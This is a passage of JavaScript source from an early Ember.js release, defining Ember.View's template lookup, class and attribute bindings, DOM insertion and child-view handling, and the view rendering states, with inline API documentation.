templateName: null, /** The name of the layout to lookup if no layout is provided. `Ember.View` will look for a template with this name in this view's `templates` object. By default, this will be a global object shared in `Ember.TEMPLATES`. @property layoutName @type String @default null */ layoutName: null, /** The hash in which to look for `templateName`. @property templates @type Ember.Object @default Ember.TEMPLATES */ templates: Ember.TEMPLATES, /** The template used to render the view. This should be a function that accepts an optional context parameter and returns a string of HTML that will be inserted into the DOM relative to its parent view. In general, you should set the `templateName` property instead of setting the template yourself. @property template @type Function */ template: Ember.computed(function(key, value) { if (value !== undefined) { return value; } var templateName = get(this, 'templateName'), template = this.templateForName(templateName, 'template'); return template || get(this, 'defaultTemplate'); }).property('templateName'), container: Ember.computed(function() { var parentView = get(this, '_parentView'); if (parentView) { return get(parentView, 'container'); } return Ember.Container && Ember.Container.defaultContainer; }), /** The controller managing this view. If this property is set, it will be made available for use by the template. @property controller @type Object */ controller: Ember.computed(function(key) { var parentView = get(this, '_parentView'); return parentView ? get(parentView, 'controller') : null; }).property('_parentView'), /** A view may contain a layout. A layout is a regular template but supersedes the `template` property during rendering. It is the responsibility of the layout template to retrieve the `template` property from the view (or alternatively, call `Handlebars.helpers.yield`, `{{yield}}`) to render it in the correct location. This is useful for a view that has a shared wrapper, but which delegates the rendering of the contents of the wrapper to the `template` property on a subclass. @property layout @type Function */ layout: Ember.computed(function(key) { var layoutName = get(this, 'layoutName'), layout = this.templateForName(layoutName, 'layout'); return layout || get(this, 'defaultLayout'); }).property('layoutName'), templateForName: function(name, type) { if (!name) { return; } var container = get(this, 'container'); if (container) { return container.lookup('template:' + name); } }, /** The object from which templates should access properties. This object will be passed to the template function each time the render method is called, but it is up to the individual function to decide what to do with it. By default, this will be the view's controller. @property context @type Object */ context: Ember.computed(function(key, value) { if (arguments.length === 2) { set(this, '_context', value); return value; } else { return get(this, '_context'); } }).volatile(), /** @private Private copy of the view's template context. This can be set directly by Handlebars without triggering the observer that causes the view to be re-rendered. The context of a view is looked up as follows: 1. Supplied context (usually by Handlebars) 2. Specified controller 3. `parentView`'s context (for a child of a ContainerView) The code in Handlebars that overrides the `_context` property first checks to see whether the view has a specified controller. This is something of a hack and should be revisited. @property _context */ _context: Ember.computed(function(key) { var parentView, controller; if (controller = get(this, 'controller')) { return controller; } parentView = this._parentView; if (parentView) { return get(parentView, '_context'); } return null; }), /** @private If a value that affects template rendering changes, the view should be re-rendered to reflect the new value. @method _displayPropertyDidChange */ _contextDidChange: Ember.observer(function() { this.rerender(); }, 'context'), /** If `false`, the view will appear hidden in DOM. @property isVisible @type Boolean @default null */ isVisible: true, /** @private Array of child views. You should never edit this array directly. Instead, use `appendChild` and `removeFromParent`. @property childViews @type Array @default [] */ childViews: childViewsProperty, _childViews: [], // When it's a virtual view, we need to notify the parent that their // childViews will change. _childViewsWillChange: Ember.beforeObserver(function() { if (this.isVirtual) { var parentView = get(this, 'parentView'); if (parentView) { Ember.propertyWillChange(parentView, 'childViews'); } } }, 'childViews'), // When it's a virtual view, we need to notify the parent that their // childViews did change. _childViewsDidChange: Ember.observer(function() { if (this.isVirtual) { var parentView = get(this, 'parentView'); if (parentView) { Ember.propertyDidChange(parentView, 'childViews'); } } }, 'childViews'), /** Return the nearest ancestor that is an instance of the provided class. @property nearestInstanceOf @param {Class} klass Subclass of Ember.View (or Ember.View itself) @return Ember.View @deprecated */ nearestInstanceOf: function(klass) { var view = get(this, 'parentView'); while (view) { if(view instanceof klass) { return view; } view = get(view, 'parentView'); } }, /** Return the nearest ancestor that is an instance of the provided class or mixin. @property nearestOfType @param {Class,Mixin} klass Subclass of Ember.View (or Ember.View itself), or an instance of Ember.Mixin. @return Ember.View */ nearestOfType: function(klass) { var view = get(this, 'parentView'), isOfType = klass instanceof Ember.Mixin ? function(view) { return klass.detect(view); } : function(view) { return klass.detect(view.constructor); }; while (view) { if( isOfType(view) ) { return view; } view = get(view, 'parentView'); } }, /** Return the nearest ancestor that has a given property. @property nearestWithProperty @param {String} property A property name @return Ember.View */ nearestWithProperty: function(property) { var view = get(this, 'parentView'); while (view) { if (property in view) { return view; } view = get(view, 'parentView'); } }, /** Return the nearest ancestor whose parent is an instance of `klass`. @property nearestChildOf @param {Class} klass Subclass of Ember.View (or Ember.View itself) @return Ember.View */ nearestChildOf: function(klass) { var view = get(this, 'parentView'); while (view) { if(get(view, 'parentView') instanceof klass) { return view; } view = get(view, 'parentView'); } }, /** @private When the parent view changes, recursively invalidate `controller` @method _parentViewDidChange */ _parentViewDidChange: Ember.observer(function() { if (this.isDestroying) { return; } if (get(this, 'parentView.controller') && !get(this, 'controller')) { this.notifyPropertyChange('controller'); } }, '_parentView'), _controllerDidChange: Ember.observer(function() { if (this.isDestroying) { return; } this.rerender(); this.forEachChildView(function(view) { view.propertyDidChange('controller'); }); }, 'controller'), cloneKeywords: function() { var templateData = get(this, 'templateData'); var keywords = templateData ? Ember.copy(templateData.keywords) : {}; set(keywords, 'view', get(this, 'concreteView')); set(keywords, '_view', this); set(keywords, 'controller', get(this, 'controller')); return keywords; }, /** Called on your view when it should push strings of HTML into a `Ember.RenderBuffer`. Most users will want to override the `template` or `templateName` properties instead of this method. By default, `Ember.View` will look for a function in the `template` property and invoke it with the value of `context`. The value of `context` will be the view's controller unless you override it. @method render @param {Ember.RenderBuffer} buffer The render buffer */ render: function(buffer) { // If this view has a layout, it is the responsibility of the // the layout to render the view's template. Otherwise, render the template // directly. var template = get(this, 'layout') || get(this, 'template'); if (template) { var context = get(this, 'context'); var keywords = this.cloneKeywords(); var output; var data = { view: this, buffer: buffer, isRenderData: true, keywords: keywords, insideGroup: get(this, 'templateData.insideGroup') }; // Invoke the template with the provided template context, which // is the view's controller by default. A hash of data is also passed that provides // the template with access to the view and render buffer. // The template should write directly to the render buffer instead // of returning a string. output = template(context, { data: data }); // If the template returned a string instead of writing to the buffer, // push the string onto the buffer. if (output !== undefined) { buffer.push(output); } } }, /** Renders the view again. This will work regardless of whether the view is already in the DOM or not. If the view is in the DOM, the rendering process will be deferred to give bindings a chance to synchronize. If children were added during the rendering process using `appendChild`, `rerender` will remove them, because they will be added again if needed by the next `render`. In general, if the display of your view changes, you should modify the DOM element directly instead of manually calling `rerender`, which can be slow. @method rerender */ rerender: function() { return this.currentState.rerender(this); }, clearRenderedChildren: function() { var lengthBefore = this.lengthBeforeRender, lengthAfter = this.lengthAfterRender; // If there were child views created during the last call to render(), // remove them under the assumption that they will be re-created when // we re-render. // VIEW-TODO: Unit test this path. var childViews = this._childViews; for (var i=lengthAfter-1; i>=lengthBefore; i--) { if (childViews[i]) { childViews[i].destroy(); } } }, /** @private Iterates over the view's `classNameBindings` array, inserts the value of the specified property into the `classNames` array, then creates an observer to update the view's element if the bound property ever changes in the future. @method _applyClassNameBindings */ _applyClassNameBindings: function(classBindings) { var classNames = this.classNames, elem, newClass, dasherizedClass; // Loop through all of the configured bindings. These will be either // property names ('isUrgent') or property paths relative to the view // ('content.isUrgent') a_forEach(classBindings, function(binding) { // Variable in which the old class value is saved. The observer function // closes over this variable, so it knows which string to remove when // the property changes. var oldClass; // Extract just the property name from bindings like 'foo:bar' var parsedPath = Ember.View._parsePropertyPath(binding); // Set up an observer on the context. If the property changes, toggle the // class name. var observer = function() { // Get the current value of the property newClass = this._classStringForProperty(binding); elem = this.$(); // If we had previously added a class to the element, remove it. if (oldClass) { elem.removeClass(oldClass); // Also remove from classNames so that if the view gets rerendered, // the class doesn't get added back to the DOM. classNames.removeObject(oldClass); } // If necessary, add a new class. Make sure we keep track of it so // it can be removed in the future. if (newClass) { elem.addClass(newClass); oldClass = newClass; } else { oldClass = null; } }; // Get the class name for the property at its current value dasherizedClass = this._classStringForProperty(binding); if (dasherizedClass) { // Ensure that it gets into the classNames array // so it is displayed when we render. a_addObject(classNames, dasherizedClass); // Save a reference to the class name so we can remove it // if the observer fires. Remember that this variable has // been closed over by the observer. oldClass = dasherizedClass; } this.registerObserver(this, parsedPath.path, observer); // Remove className so when the view is rerendered, // the className is added based on binding reevaluation this.one('willClearRender', function() { if (oldClass) { classNames.removeObject(oldClass); oldClass = null; } }); }, this); }, /** @private Iterates through the view's attribute bindings, sets up observers for each, then applies the current value of the attributes to the passed render buffer. @method _applyAttributeBindings @param {Ember.RenderBuffer} buffer */ _applyAttributeBindings: function(buffer, attributeBindings) { var attributeValue, elem, type; a_forEach(attributeBindings, function(binding) { var split = binding.split(':'), property = split[0], attributeName = split[1] || property; // Create an observer to add/remove/change the attribute if the // JavaScript property changes. var observer = function() { elem = this.$(); if (!elem) { return; } attributeValue = get(this, property); Ember.View.applyAttributeBindings(elem, attributeName, attributeValue); }; this.registerObserver(this, property, observer); // Determine the current value and add it to the render buffer // if necessary. attributeValue = get(this, property); Ember.View.applyAttributeBindings(buffer, attributeName, attributeValue); }, this); }, /** @private Given a property name, returns a dasherized version of that property name if the property evaluates to a non-falsy value. For example, if the view has property `isUrgent` that evaluates to true, passing `isUrgent` to this method will return `"is-urgent"`. @method _classStringForProperty @param property */ _classStringForProperty: function(property) { var parsedPath = Ember.View._parsePropertyPath(property); var path = parsedPath.path; var val = get(this, path); if (val === undefined && Ember.isGlobalPath(path)) { val = get(Ember.lookup, path); } return Ember.View._classStringForValue(path, val, parsedPath.className, parsedPath.falsyClassName); }, // .......................................................... // ELEMENT SUPPORT // /** Returns the current DOM element for the view. @property element @type DOMElement */ element: Ember.computed(function(key, value) { if (value !== undefined) { return this.currentState.setElement(this, value); } else { return this.currentState.getElement(this); } }).property('_parentView'), /** Returns a jQuery object for this view's element. If you pass in a selector string, this method will return a jQuery object, using the current element as its buffer. For example, calling `view.$('li')` will return a jQuery object containing all of the `li` elements inside the DOM element of this view. @property $ @param {String} [selector] a jQuery-compatible selector string @return {jQuery} the CoreQuery object for the DOM node */ $: function(sel) { return this.currentState.$(this, sel); }, mutateChildViews: function(callback) { var childViews = this._childViews, idx = childViews.length, view; while(--idx >= 0) { view = childViews[idx]; callback.call(this, view, idx); } return this; }, forEachChildView: function(callback) { var childViews = this._childViews; if (!childViews) { return this; } var len = childViews.length, view, idx; for(idx = 0; idx < len; idx++) { view = childViews[idx]; callback.call(this, view); } return this; }, /** Appends the view's element to the specified parent element. If the view does not have an HTML representation yet, `createElement()` will be called automatically. Note that this method just schedules the view to be appended; the DOM element will not be appended to the given element until all bindings have finished synchronizing. This is not typically a function that you will need to call directly when building your application. You might consider using `Ember.ContainerView` instead. If you do need to use `appendTo`, be sure that the target element you are providing is associated with an `Ember.Application` and does not have an ancestor element that is associated with an Ember view. @method appendTo @param {String|DOMElement|jQuery} A selector, element, HTML string, or jQuery object @return {Ember.View} receiver */ appendTo: function(target) { // Schedule the DOM element to be created and appended to the given // element after bindings have synchronized. this._insertElementLater(function() { this.$().appendTo(target); }); return this; }, /** Replaces the content of the specified parent element with this view's element. If the view does not have an HTML representation yet, `createElement()` will be called automatically. Note that this method just schedules the view to be appended; the DOM element will not be appended to the given element until all bindings have finished synchronizing @method replaceIn @param {String|DOMElement|jQuery} A selector, element, HTML string, or jQuery object @return {Ember.View} received */ replaceIn: function(target) { this._insertElementLater(function() { Ember.$(target).empty(); this.$().appendTo(target); }); return this; }, /** @private Schedules a DOM operation to occur during the next render phase. This ensures that all bindings have finished synchronizing before the view is rendered. To use, pass a function that performs a DOM operation. Before your function is called, this view and all child views will receive the `willInsertElement` event. After your function is invoked, this view and all of its child views will receive the `didInsertElement` event. ```javascript view._insertElementLater(function() { this.createElement(); this.$().appendTo('body'); }); ``` @method _insertElementLater @param {Function} fn the function that inserts the element into the DOM */ _insertElementLater: function(fn) { this._scheduledInsert = Ember.run.scheduleOnce('render', this, '_insertElement', fn); }, _insertElement: function (fn) { this._scheduledInsert = null; this.currentState.insertElement(this, fn); }, /** Appends the view's element to the document body. If the view does not have an HTML representation yet, `createElement()` will be called automatically. Note that this method just schedules the view to be appended; the DOM element will not be appended to the document body until all bindings have finished synchronizing. @method append @return {Ember.View} receiver */ append: function() { return this.appendTo(document.body); }, /** Removes the view's element from the element to which it is attached. @method remove @return {Ember.View} receiver */ remove: function() { // What we should really do here is wait until the end of the run loop // to determine if the element has been re-appended to a different // element. // In the interim, we will just re-render if that happens. It is more // important than elements get garbage collected. if (!this.removedFromDOM) { this.destroyElement(); } this.invokeRecursively(function(view) { if (view.clearRenderedChildren) { view.clearRenderedChildren(); } }); }, elementId: null, /** Attempts to discover the element in the parent element. The default implementation looks for an element with an ID of `elementId` (or the view's guid if `elementId` is null). You can override this method to provide your own form of lookup. For example, if you want to discover your element using a CSS class name instead of an ID. @method findElementInParentElement @param {DOMElement} parentElement The parent's DOM element @return {DOMElement} The discovered element */ findElementInParentElement: function(parentElem) { var id = "#" + this.elementId; return Ember.$(id)[0] || Ember.$(id, parentElem)[0]; }, /** Creates a DOM representation of the view and all of its child views by recursively calling the `render()` method. After the element has been created, `didInsertElement` will be called on this view and all of its child views. @method createElement @return {Ember.View} receiver */ createElement: function() { if (get(this, 'element')) { return this; } var buffer = this.renderToBuffer(); set(this, 'element', buffer.element()); return this; }, /** Called when a view is going to insert an element into the DOM. @event willInsertElement */ willInsertElement: Ember.K, /** Called when the element of the view has been inserted into the DOM. Override this function to do any set up that requires an element in the document body. @event didInsertElement */ didInsertElement: Ember.K, /** Called when the view is about to rerender, but before anything has been torn down. This is a good opportunity to tear down any manual observers you have installed based on the DOM state @event willClearRender */ willClearRender: Ember.K, /** @private Run this callback on the current view and recursively on child views. @method invokeRecursively @param fn {Function} */ invokeRecursively: function(fn) { var childViews = [this], currentViews, view; while (childViews.length) { currentViews = childViews.slice(); childViews = []; for (var i=0, l=currentViews.length; i<l; i++) { view = currentViews[i]; fn.call(view, view); if (view._childViews) { childViews.push.apply(childViews, view._childViews); } } } }, triggerRecursively: function(eventName) { var childViews = [this], currentViews, view; while (childViews.length) { currentViews = childViews.slice(); childViews = []; for (var i=0, l=currentViews.length; i<l; i++) { view = currentViews[i]; if (view.trigger) { view.trigger(eventName); } if (view._childViews) { childViews.push.apply(childViews, view._childViews); } } } }, /** Destroys any existing element along with the element for any child views as well. If the view does not currently have a element, then this method will do nothing. If you implement `willDestroyElement()` on your view, then this method will be invoked on your view before your element is destroyed to give you a chance to clean up any event handlers, etc. If you write a `willDestroyElement()` handler, you can assume that your `didInsertElement()` handler was called earlier for the same element. Normally you will not call or override this method yourself, but you may want to implement the above callbacks when it is run. @method destroyElement @return {Ember.View} receiver */ destroyElement: function() { return this.currentState.destroyElement(this); }, /** Called when the element of the view is going to be destroyed. Override this function to do any teardown that requires an element, like removing event listeners. @event willDestroyElement */ willDestroyElement: function() {}, /** @private Triggers the `willDestroyElement` event (which invokes the `willDestroyElement()` method if it exists) on this view and all child views. Before triggering `willDestroyElement`, it first triggers the `willClearRender` event recursively. @method _notifyWillDestroyElement */ _notifyWillDestroyElement: function() { this.triggerRecursively('willClearRender'); this.triggerRecursively('willDestroyElement'); }, _elementWillChange: Ember.beforeObserver(function() { this.forEachChildView(function(view) { Ember.propertyWillChange(view, 'element'); }); }, 'element'), /** @private If this view's element changes, we need to invalidate the caches of our child views so that we do not retain references to DOM elements that are no longer needed. @method _elementDidChange */ _elementDidChange: Ember.observer(function() { this.forEachChildView(function(view) { Ember.propertyDidChange(view, 'element'); }); }, 'element'), /** Called when the parentView property has changed. @event parentViewDidChange */ parentViewDidChange: Ember.K, instrumentName: 'view', instrumentDetails: function(hash) { hash.template = get(this, 'templateName'); this._super(hash); }, _renderToBuffer: function(parentBuffer, bufferOperation) { this.lengthBeforeRender = this._childViews.length; var buffer = this._super(parentBuffer, bufferOperation); this.lengthAfterRender = this._childViews.length; return buffer; }, renderToBufferIfNeeded: function () { return this.currentState.renderToBufferIfNeeded(this, this); }, beforeRender: function(buffer) { this.applyAttributesToBuffer(buffer); buffer.pushOpeningTag(); }, afterRender: function(buffer) { buffer.pushClosingTag(); }, applyAttributesToBuffer: function(buffer) { // Creates observers for all registered class name and attribute bindings, // then adds them to the element. var classNameBindings = get(this, 'classNameBindings'); if (classNameBindings.length) { this._applyClassNameBindings(classNameBindings); } // Pass the render buffer so the method can apply attributes directly. // This isn't needed for class name bindings because they use the // existing classNames infrastructure. var attributeBindings = get(this, 'attributeBindings'); if (attributeBindings.length) { this._applyAttributeBindings(buffer, attributeBindings); } buffer.setClasses(this.classNames); buffer.id(this.elementId); var role = get(this, 'ariaRole'); if (role) { buffer.attr('role', role); } if (get(this, 'isVisible') === false) { buffer.style('display', 'none'); } }, // .......................................................... // STANDARD RENDER PROPERTIES // /** Tag name for the view's outer element. The tag name is only used when an element is first created. If you change the `tagName` for an element, you must destroy and recreate the view element. By default, the render buffer will use a `<div>` tag for views. @property tagName @type String @default null */ // We leave this null by default so we can tell the difference between // the default case and a user-specified tag. tagName: null, /** The WAI-ARIA role of the control represented by this view. For example, a button may have a role of type 'button', or a pane may have a role of type 'alertdialog'. This property is used by assistive software to help visually challenged users navigate rich web applications. The full list of valid WAI-ARIA roles is available at: http://www.w3.org/TR/wai-aria/roles#roles_categorization @property ariaRole @type String @default null */ ariaRole: null, /** Standard CSS class names to apply to the view's outer element. This property automatically inherits any class names defined by the view's superclasses as well. @property classNames @type Array @default ['ember-view'] */ classNames: ['ember-view'], /** A list of properties of the view to apply as class names. If the property is a string value, the value of that string will be applied as a class name. ```javascript // Applies the 'high' class to the view element Ember.View.create({ classNameBindings: ['priority'] priority: 'high' }); ``` If the value of the property is a Boolean, the name of that property is added as a dasherized class name. ```javascript // Applies the 'is-urgent' class to the view element Ember.View.create({ classNameBindings: ['isUrgent'] isUrgent: true }); ``` If you would prefer to use a custom value instead of the dasherized property name, you can pass a binding like this: ```javascript // Applies the 'urgent' class to the view element Ember.View.create({ classNameBindings: ['isUrgent:urgent'] isUrgent: true }); ``` This list of properties is inherited from the view's superclasses as well. @property classNameBindings @type Array @default [] */ classNameBindings: [], /** A list of properties of the view to apply as attributes. If the property is a string value, the value of that string will be applied as the attribute. ```javascript // Applies the type attribute to the element // with the value "button", like <div type="button"> Ember.View.create({ attributeBindings: ['type'], type: 'button' }); ``` If the value of the property is a Boolean, the name of that property is added as an attribute. ```javascript // Renders something like <div enabled="enabled"> Ember.View.create({ attributeBindings: ['enabled'], enabled: true }); ``` @property attributeBindings */ attributeBindings: [], // ....................................................... // CORE DISPLAY METHODS // /** @private Setup a view, but do not finish waking it up. - configure `childViews` - register the view with the global views hash, which is used for event dispatch @method init */ init: function() { this.elementId = this.elementId || guidFor(this); this._super(); // setup child views. be sure to clone the child views array first this._childViews = this._childViews.slice(); this.classNameBindings = Ember.A(this.classNameBindings.slice()); this.classNames = Ember.A(this.classNames.slice()); var viewController = get(this, 'viewController'); if (viewController) { viewController = get(viewController); if (viewController) { set(viewController, 'view', this); } } }, appendChild: function(view, options) { return this.currentState.appendChild(this, view, options); }, /** Removes the child view from the parent view. @method removeChild @param {Ember.View} view @return {Ember.View} receiver */ removeChild: function(view) { // If we're destroying, the entire subtree will be // freed, and the DOM will be handled separately, // so no need to mess with childViews. if (this.isDestroying) { return; } // update parent node set(view, '_parentView', null); // remove view from childViews array. var childViews = this._childViews; Ember.EnumerableUtils.removeObject(childViews, view); this.propertyDidChange('childViews'); // HUH?! what happened to will change? return this; }, /** Removes all children from the `parentView`. @method removeAllChildren @return {Ember.View} receiver */ removeAllChildren: function() { return this.mutateChildViews(function(view) { this.removeChild(view); }); }, destroyAllChildren: function() { return this.mutateChildViews(function(view) { view.destroy(); }); }, /** Removes the view from its `parentView`, if one is found. Otherwise does nothing. @method removeFromParent @return {Ember.View} receiver */ removeFromParent: function() { var parent = this._parentView; // Remove DOM element from parent this.remove(); if (parent) { parent.removeChild(this); } return this; }, /** You must call `destroy` on a view to destroy the view (and all of its child views). This will remove the view from any parent node, then make sure that the DOM element managed by the view can be released by the memory manager. @method willDestroy */ willDestroy: function() { // calling this._super() will nuke computed properties and observers, // so collect any information we need before calling super. var childViews = this._childViews, parent = this._parentView, childLen, i; // destroy the element -- this will avoid each child view destroying // the element over and over again... if (!this.removedFromDOM) { this.destroyElement(); } childLen = childViews.length; for (i=childLen-1; i>=0; i--) { childViews[i].removedFromDOM = true; } // remove from non-virtual parent view if viewName was specified if (this.viewName) { var nonVirtualParentView = get(this, 'parentView'); if (nonVirtualParentView) { set(nonVirtualParentView, this.viewName, null); } } // remove from parent if found. Don't call removeFromParent, // as removeFromParent will try to remove the element from // the DOM again. if (parent) { parent.removeChild(this); } this.transitionTo('destroyed'); childLen = childViews.length; for (i=childLen-1; i>=0; i--) { childViews[i].destroy(); } // next remove view from global hash if (!this.isVirtual) delete Ember.View.views[get(this, 'elementId')]; }, /** Instantiates a view to be added to the childViews array during view initialization. You generally will not call this method directly unless you are overriding `createChildViews()`. Note that this method will automatically configure the correct settings on the new view instance to act as a child of the parent. @method createChildView @param {Class} viewClass @param {Hash} [attrs] Attributes to add @return {Ember.View} new instance */ createChildView: function(view, attrs) { if (view.isView && view._parentView === this) { return view; } if (Ember.CoreView.detect(view)) { attrs = attrs || {}; attrs._parentView = this; attrs.templateData = attrs.templateData || get(this, 'templateData'); view = view.create(attrs); // don't set the property on a virtual view, as they are invisible to // consumers of the view API if (view.viewName) { set(get(this, 'concreteView'), view.viewName, view); } } else { if (attrs) { view.setProperties(attrs); } if (!get(view, 'templateData')) { set(view, 'templateData', get(this, 'templateData')); } set(view, '_parentView', this); } return view; }, becameVisible: Ember.K, becameHidden: Ember.K, /** @private When the view's `isVisible` property changes, toggle the visibility element of the actual DOM element. @method _isVisibleDidChange */ _isVisibleDidChange: Ember.observer(function() { var $el = this.$(); if (!$el) { return; } var isVisible = get(this, 'isVisible'); $el.toggle(isVisible); if (this._isAncestorHidden()) { return; } if (isVisible) { this._notifyBecameVisible(); } else { this._notifyBecameHidden(); } }, 'isVisible'), _notifyBecameVisible: function() { this.trigger('becameVisible'); this.forEachChildView(function(view) { var isVisible = get(view, 'isVisible'); if (isVisible || isVisible === null) { view._notifyBecameVisible(); } }); }, _notifyBecameHidden: function() { this.trigger('becameHidden'); this.forEachChildView(function(view) { var isVisible = get(view, 'isVisible'); if (isVisible || isVisible === null) { view._notifyBecameHidden(); } }); }, _isAncestorHidden: function() { var parent = get(this, 'parentView'); while (parent) { if (get(parent, 'isVisible') === false) { return true; } parent = get(parent, 'parentView'); } return false; }, clearBuffer: function() { this.invokeRecursively(function(view) { view.buffer = null; }); }, transitionTo: function(state, children) { this.currentState = this.states[state]; this.state = state; if (children !== false) { this.forEachChildView(function(view) { view.transitionTo(state); }); } }, // ....................................................... // EVENT HANDLING // /** @private Handle events from `Ember.EventDispatcher` @method handleEvent @param eventName {String} @param evt {Event} */ handleEvent: function(eventName, evt) { return this.currentState.handleEvent(this, eventName, evt); }, registerObserver: function(root, path, target, observer) { Ember.addObserver(root, path, target, observer); this.one('willClearRender', function() { Ember.removeObserver(root, path, target, observer); }); } }); /* Describe how the specified actions should behave in the various states that a view can exist in. Possible states: * preRender: when a view is first instantiated, and after its element was destroyed, it is in the preRender state * inBuffer: once a view has been rendered, but before it has been inserted into the DOM, it is in the inBuffer state * inDOM: once a view has been inserted into the DOM it is in the inDOM state. A view spends the vast majority of its existence in this state. * destroyed: once a view has been destroyed (using the destroy method), it is in this state. No further actions can be invoked on a destroyed view. */ // in the destroyed state, everything is illegal // before rendering has begun, all legal manipulations are noops. // inside the buffer, legal manipulations are done on the buffer // once the view has been inserted into the DOM, legal manipulations // are done on the DOM element. var DOMManager = { prepend: function(view, html) { view.$().prepend(html); }, after: function(view, html) { view.$().after(html); }, html: function(view, html) { view.$().html(html); }, replace: function(view) { var element = get(view, 'element'); set(view, 'element', null); view._insertElementLater(function() { Ember.$(element).replaceWith(get(view, 'element')); }); }, remove: function(view) { view.$().remove(); }, empty: function(view) { view.$().empty(); } }; Ember.View.reopen({ domManager: DOMManager }); Ember.View.reopenClass({ /** @private Parse a path and return an object which holds the parsed properties. For example a path like "content.isEnabled:enabled:disabled" wil return the following object: ```javascript { path: "content.isEnabled", className: "enabled", falsyClassName: "disabled", classNames: ":enabled:disabled" } ``` @method _parsePropertyPath @static */ _parsePropertyPath: function(path) { var split = path.split(':'), propertyPath = split[0], classNames = "", className, falsyClassName; // check if the property is defined as prop:class or prop:trueClass:falseClass if (split.length > 1) { className = split[1]; if (split.length === 3) { falsyClassName = split[2]; } classNames = ':' + className; if (falsyClassName) { classNames += ":" + falsyClassName; } } return { path: propertyPath, classNames: classNames, className: (className === '') ? undefined : className, falsyClassName: falsyClassName }; }, /** @private Get the class name for a given value, based on the path, optional `className` and optional `falsyClassName`. - if a `className` or `falsyClassName` has been specified: - if the value is truthy and `className` has been specified, `className` is returned - if the value is falsy and `falsyClassName` has been specified, `falsyClassName` is returned - otherwise `null` is returned - if the value is `true`, the dasherized last part of the supplied path is returned - if the value is not `false`, `undefined` or `null`, the `value` is returned - if none of the above rules apply, `null` is returned @method _classStringForValue @param path @param val @param className @param falsyClassName @static */ _classStringForValue: function(path, val, className, falsyClassName) { // When using the colon syntax, evaluate the truthiness or falsiness // of the value to determine which className to return if (className || falsyClassName) { if (className && !!val) { return className; } else if (falsyClassName && !val) { return falsyClassName; } else { return null; } // If value is a Boolean and true, return the dasherized property // name. } else if (val === true) { // Normalize property path to be suitable for use // as a class name. For exaple, content.foo.barBaz // becomes bar-baz. var parts = path.split('.'); return Ember.String.dasherize(parts[parts.length-1]); // If the value is not false, undefined, or null, return the current // value of the property. } else if (val !== false && val !== undefined && val !== null) { return val; // Nothing to display. Return null so that the old class is removed // but no new class is added. } else { return null; } } }); /** Global views hash @property views @static @type Hash */ Ember.View.views = {}; // If someone overrides the child views computed property when // defining their class, we want to be able to process the user's // supplied childViews and then restore the original computed property // at view initialization time. This happens in Ember.ContainerView's init // method. Ember.View.childViewsProperty = childViewsProperty; Ember.View.applyAttributeBindings = function(elem, name, value) { if (name === 'value') { Ember.View.applyValueBinding(elem, value); } else { Ember.View.applyAttributeBinding(elem, name, value); } }; Ember.View.applyAttributeBinding = function(elem, name, value) { var type = Ember.typeOf(value); var currentValue = elem.attr(name); // if this changes, also change the logic in ember-handlebars/lib/helpers/binding.js if ( ( ( type === 'string' ) || ( type === 'number' && !isNaN(value) ) || ( type === 'boolean' && value ) ) && ( value !== currentValue ) ) { elem.attr(name, value); } else if (!value) { elem.removeAttr(name); } }; Ember.View.applyValueBinding = function(elem, value) { var type = Ember.typeOf(value); var currentValue = elem.val(); // if this changes, also change the logic in ember-handlebars/lib/helpers/binding.js if ( ( ( type === 'string' ) || ( type === 'number' && !isNaN(value) ) || ( type === 'boolean' && value ) ) && ( value !== currentValue ) ) { if (elem.caretPosition) { var caretPosition = elem.caretPosition(); elem.val(value); elem.setCaretPosition(caretPosition); } else { elem.val(value); } } else if (!value) { elem.val(''); } }; Ember.View.states = states; })(); (function() { /** @module ember @submodule ember-views */ var get = Ember.get, set = Ember.set; Ember.View.states._default = { // appendChild is only legal while rendering the buffer. appendChild: function() { throw "You can't use appendChild outside of the rendering process"; }, $: function() { return undefined; }, getElement: function() { return null; }, // Handle events from `Ember.EventDispatcher` handleEvent: function() { return true; // continue event propagation }, destroyElement: function(view) { set(view, 'element', null); if (view._scheduledInsert) { Ember.run.cancel(view._scheduledInsert); view._scheduledInsert = null; } return view; }, renderToBufferIfNeeded: function () { return false; }, rerender: Ember.K }; })(); (function() { /** @module ember @submodule ember-views */ var preRender = Ember.View.states.preRender = Ember.create(Ember.View.states._default); Ember.merge(preRender, { // a view leaves the preRender state once its element has been // created (createElement). insertElement: function(view, fn) { view.createElement(); view.triggerRecursively('willInsertElement'); // after createElement, the view will be in the hasElement state. fn.call(view); view.transitionTo('inDOM'); view.triggerRecursively('didInsertElement'); }, renderToBufferIfNeeded: function(view) { return view.renderToBuffer(); }, empty: Ember.K, setElement: function(view, value) { if (value !== null) { view.transitionTo('hasElement'); } return value; } }); })(); (function() { /** @module ember @submodule ember-views */ var get = Ember.get, set = Ember.set, meta = Ember.meta; var inBuffer = Ember.View.states.inBuffer = Ember.create(Ember.View.states._default); Ember.merge(inBuffer, { $: function(view, sel) { // if we don't have an element yet, someone calling this.$() is // trying to update an element that isn't in the DOM. Instead, // rerender the view to allow the render method to reflect the // changes. view.rerender(); return Ember.$(); }, // when a view is rendered in a buffer, rerendering it simply // replaces the existing buffer with a new one rerender: function(view) { throw new Ember.Error("Something you did caused a view to re-render after it rendered but before it was inserted into the DOM."); }, // when a view is rendered in a buffer, appending a child // view will render that view and append the resulting // buffer into its buffer. appendChild: function(view, childView, options) { var buffer = view.buffer; childView = view.createChildView(childView, options); view._childViews.push(childView); childView.renderToBuffer(buffer); view.propertyDidChange('childViews'); return childView; }, // when a view is rendered in a buffer, destroying the // element will simply destroy the buffer and put the // state back into the preRender state. destroyElement: function(view) { view.clearBuffer(); view._notifyWillDestroyElement(); view.transitionTo('preRender'); return view; }, empty: function() { }, renderToBufferIfNeeded: function (view) { return view.buffer; }, // It should be impossible for a rendered view to be scheduled for // insertion. insertElement: function() { throw "You can't insert an element that has already been rendered"; }, setElement: function(view, value) { if (value === null) { view.transitionTo('preRender'); } else { view.clearBuffer(); view.transitionTo('hasElement'); } return value; } }); })(); (function() { /** @module ember @submodule ember-views */ var get = Ember.get, set = Ember.set, meta = Ember.meta; var hasElement = Ember.View.states.hasElement = Ember.create(Ember.View.states._default); Ember.merge(hasElement, { $: function(view, sel) { var elem = get(view, 'element'); return sel ? Ember.$(sel, elem) : Ember.$(elem); }, getElement: function(view) { var parent = get(view, 'parentView'); if (parent) { parent = get(parent, 'element'); } if (parent) { return view.findElementInParentElement(parent); } return Ember.$("#" + get(view, 'elementId'))[0]; }, setElement: function(view, value) { if (value === null) { view.transitionTo('preRender'); } else { throw "You cannot set an element to a non-null value when the element is already in the DOM."; } return value; 